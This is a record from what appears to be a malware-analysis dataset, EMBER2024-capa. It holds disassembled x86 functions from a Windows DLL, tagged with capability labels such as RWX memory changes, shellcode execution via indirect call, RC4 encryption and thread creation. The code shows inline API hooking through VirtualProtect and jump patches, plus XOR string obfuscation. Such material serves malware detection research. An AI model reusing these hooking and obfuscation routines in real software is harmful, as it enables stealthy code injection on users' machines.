joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013ab0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100506b1
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1007880c]
test eax, eax
jne 0x10013c5d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
mov dword [ebp - 0x20], 0x6abfdb68
mov dword [ebp - 0x1c], 0x7a8b513
mov dword [ebp - 0x18], 0x61aec56e
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xdb20
mov eax, dword [esi + 0x1fbc]
test al, 1
jne 0x10013b7c
or eax, 1
mov dword [esi + 0x1fbc], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x2b9a], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2b8c], al
add ecx, 1
adc edx, 0
jne 0x10013b68
cmp ecx, 0xe
jb 0x10013b50
push 0x1005aac0
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2b8c]
mov ecx, edi
call fcn.100488b0
mov eax, dword [esi + 0x1494]
mov dword [ebp - 0x20], 0x4685fc76
mov dword [ebp - 0x1c], 0x5d999e2f
mov dword [ebp - 0x18], 0xfa7d945
test al, 1
jne 0x10013bfc
or eax, 1
mov dword [esi + 0x1494], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x98c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x980], al
add ecx, 1
adc edx, 0
jne 0x10013be8
cmp ecx, 0xc
jb 0x10013bd0
push 0x1005ab10
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x980]
mov ecx, esi
call fcn.10048910
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013c56
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013c58
xor eax, eax
mov dword [0x1007880c], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x10074d90], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10013c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10050741
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x10078810]
test eax, eax
jne 0x10013e2d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
movaps xmm0, xmmword [0x10065730]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xf
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2054]
test al, 1
jne 0x10013d4c
or eax, 1
mov dword [esi + 0x2054], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x12a1], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1290], al
add ecx, 1
adc edx, 0
jne 0x10013d38
cmp ecx, 0x11
jb 0x10013d20
push 0x1005ab60
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1290]
mov ecx, edi
call fcn.100487f0
mov eax, dword [esi + 0x4b4]
mov dword [ebp - 0x20], 0x46c3aa58
mov dword [ebp - 0x1c], 0x1b43c4db
mov dword [ebp - 0x18], 0xfe18f6b
test al, 1
jne 0x10013dcc
or eax, 1
mov dword [esi + 0x4b4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x89c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x890], al
add ecx, 1
adc edx, 0
jne 0x10013db8
cmp ecx, 0xc
jb 0x10013da0
push 0x1005abb0
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x890]
mov ecx, esi
call fcn.10048850
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013e26
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013e28
xor eax, eax
mov dword [0x10078810], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x10075b28], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10013e60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100507d1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10078800]
test eax, eax
jne 0x1001400d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
movaps xmm0, xmmword [0x100658a0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xbd
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2304]
test al, 1
jne 0x10013f2c
or eax, 1
mov dword [esi + 0x2304], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1915], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1904], al
add ecx, 1
adc edx, 0
jne 0x10013f18
cmp ecx, 0x11
jb 0x10013f00
push 0x1005ac00
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1904]
mov ecx, edi
call fcn.10048730
mov eax, dword [esi + 0xa9c]
mov dword [ebp - 0x20], 0xfa1b64ea
mov dword [ebp - 0x1c], 0xe1d7f8b3
mov dword [ebp - 0x18], 0xb33941d9
test al, 1
jne 0x10013fac
or eax, 1
mov dword [esi + 0xa9c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2e1c], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2e10], al
add ecx, 1
adc edx, 0
jne 0x10013f98
cmp ecx, 0xc
jb 0x10013f80
push 0x1005ac50
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2e10]
mov ecx, esi
call fcn.10048790
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10014006
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10014008
xor eax, eax
mov dword [0x10078800], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x10075a18], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10014050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10050861
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1007885c]
test eax, eax
jne 0x100141ed
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
movaps xmm0, xmmword [0x10065570]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xd5
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2a38]
test al, 1
jne 0x1001410c
or eax, 1
mov dword [esi + 0x2a38], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2c51], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2c40], al
add ecx, 1
adc edx, 0
jne 0x100140f8
cmp ecx, 0x11
jb 0x100140e0
push 0x1005aca0
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2c40]
mov ecx, edi
call fcn.10048670
mov eax, dword [esi + 0x2754]
mov dword [ebp - 0x20], 0xe42d6a82
mov dword [ebp - 0x1c], 0x3b05f66b
mov dword [ebp - 0x18], 0xad0f4fb1
test al, 1
jne 0x1001418c
or eax, 1
mov dword [esi + 0x2754], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2d68], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2d5c], al
add ecx, 1
adc edx, 0
jne 0x10014178
cmp ecx, 0xc
jb 0x10014160
push 0x1005acf0
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2d5c]
mov ecx, esi
call fcn.100486d0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100141e6
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100141e8
xor eax, eax
mov dword [0x1007885c], eax
push dword [ebp + 0x10]
mov dword [0x10075208], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10014220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100508f1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10078808]
test eax, eax
jne 0x100143bd
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
movaps xmm0, xmmword [0x10065770]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xe1
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x2420]
test al, 1
jne 0x100142dc
or eax, 1
mov dword [esi + 0x2420], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1be1], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1bd0], al
add ecx, 1
adc edx, 0
jne 0x100142c8
cmp ecx, 0x11
jb 0x100142b0
push 0x1005ad40
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1bd0]
mov ecx, edi
call fcn.100485b0
mov eax, dword [esi + 0x8cc]
mov dword [ebp - 0x20], 0xca4ba2b6
mov dword [ebp - 0x1c], 0x3189f60f
mov dword [ebp - 0x18], 0x83698785
test al, 1
jne 0x1001435c
or eax, 1
mov dword [esi + 0x8cc], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2340], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x2334], al
add ecx, 1
adc edx, 0
jne 0x10014348
cmp ecx, 0xc
jb 0x10014330
push 0x1005ad90
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2334]
mov ecx, esi
call fcn.10048610
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x100143b6
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x100143b8
xor eax, eax
mov dword [0x10078808], eax
push dword [ebp - 0x30]
mov dword [0x10074988], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x100143f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10050981
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1007886c]
test eax, eax
jne 0x1001458d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
movaps xmm0, xmmword [0x10065ec0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x8148591b
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x13a0]
test al, 1
jne 0x100144ac
or eax, 1
mov dword [esi + 0x13a0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3e0], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3cc], al
add ecx, 1
adc edx, 0
jne 0x10014498
cmp ecx, 0x14
jb 0x10014480
push 0x1005ade0
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3cc]
mov ecx, edi
call fcn.100484f0
mov eax, dword [esi + 0x20e8]
mov dword [ebp - 0x1c], 0xc8637c28
mov dword [ebp - 0x18], 0x9505a005
mov dword [ebp - 0x14], 0x8141591b
test al, 1
jne 0x1001452c
or eax, 1
mov dword [esi + 0x20e8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2c38], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x2c2c], al
add ecx, 1
adc edx, 0
jne 0x10014518
cmp ecx, 0xc
jb 0x10014500
push 0x1005ae30
call fcn.1004deb7
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x2c2c]
mov ecx, esi
call fcn.10048550
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10014586
push 7
call fcn.1004de0e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10014588
xor eax, eax
mov dword [0x1007886c], eax
push ebx
mov dword [0x10075c90], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10020080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10076878], 0
push esi
push edi
jle 0x100200ea
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100200ea
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002012a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1002011e
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002012a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x10022080
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100511f1
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10078834]
cmp eax, dword [ecx + 0xc]
jle 0x10022115
push 0x10078834
call fcn.1004d8cb
add esp, 4
cmp dword [0x10078834], 0xffffffff
jne 0x10022115
mov dword [ebp - 4], 0
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10078834
mov dword [0x100787e8], eax
call fcn.1004d881
add esp, 4
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x100221a4
cmp dword [0x10076850], 0
je 0x100221a4
mov eax, dword [0x10071168]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x10075c9c]
mov ecx, dword [eax + ecx]
call fcn.100158a0
mov esi, eax
test esi, esi
je 0x100221a4
mov ecx, dword [0x10074de0]
push 0x100760a0
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x100221a4
mov edx, dword [0x1007539c]
add edx, eax
cmp edx, eax
jbe 0x100221a4
mov ecx, esi
call edx
test eax, eax
jle 0x100221a4
mov edi, dword [0x100787e8]
cmp edi, 0x1000
jbe 0x100221d5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x100221c9
mov edi, dword [0x100787e8]
cmp edi, 0x1000
jbe 0x100221d5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret
Function at 0x100221f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10074de0]
mov eax, dword [0x10071168]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x10074de0]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x10071168]
je 0x1002225a
add eax, 0x150
cmp dword [0x10075a10], 0
push eax
je 0x10022260
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002228d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10022281
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002228d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret

Function at 0x10022880
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x10076d28], 0
jne 0x100228e3
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x10064948]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x100228b3
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10022896
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x10076d28], 1
mov dword [0x10076144], eax
add eax, 0x18
mov dword [0x100754b4], eax
mov esp, ebp
pop ebp
ret
Function at 0x10025af0
Capabilities:
Get hostname

Disassembly:
push 0x1006f058
push 0x10075afc
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.10025a00
cmp eax, 1
jne 0x10025b1c
push str.Win_XP
push 0x10071518
call fcn.10005760
add esp, 8
call fcn.10025a00
cmp eax, 2
jne 0x10025b38
push str.Win_Vista
push 0x10071518
call fcn.10005760
add esp, 8
call fcn.10025a00
cmp eax, 3
jne 0x10025b54
push str.Win_7
push 0x10071518
call fcn.10005760
add esp, 8
call fcn.10025a00
cmp eax, 4
jne 0x10025b70
push str.Win_8
push 0x10071518
call fcn.10005760
add esp, 8
call fcn.10025a00
cmp eax, 5
jne 0x10025b8c
push str.Wi_10
push 0x10071518
call fcn.10005760
add esp, 8
ret
Function at 0x10042d90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10056ba3
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1006f00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1006feb4]
mov dword [ebp - 0x1c], 0x4663fc7b
mov dword [ebp - 0x18], 0x6ff9ddd3
mov byte [ebp - 0x14], 0x1f
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x8d0]
test al, 1
jne 0x10042e35
or eax, 1
mov dword [esi + 0x8d0], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x1fb9], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x1fb0], al
add ecx, 1
adc edx, 0
jne 0x10042e28
cmp ecx, 9
jb 0x10042e10
push 0x10062e90
call fcn.1004deb7
add esp, 4
cmp byte [esi + 0x1fb9], 0
lea edi, [esi + 0x1fb0]
je 0x10042e7d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0x7f07cf1f
and ecx, 7
mov edx, 0x395b9fd
shl ecx, 3
call fcn.1004e860
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x10042e79
cmp esi, 9
jb 0x10042e52
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x10064c94
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10008600
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x10064cb0
lea ecx, [ebx + 6]
push edi
mov dword [0x10076d24], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10008600
add esp, 8
lea ecx, [eax + 6]
mov dword [0x100711ec], ecx
test ebx, ebx
je 0x10042ee1
push ecx
push 0x100424c0
push ebx
call fcn.100136c0
jmp 0x10042f08
test eax, eax
je 0x10042ef3
push ecx
push 0x100424e0
push eax
call fcn.100136c0
jmp 0x10042f08
push 0
push 0
push 0
push 0x10042d70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004d4d9
mov esp, ebp
pop ebp
ret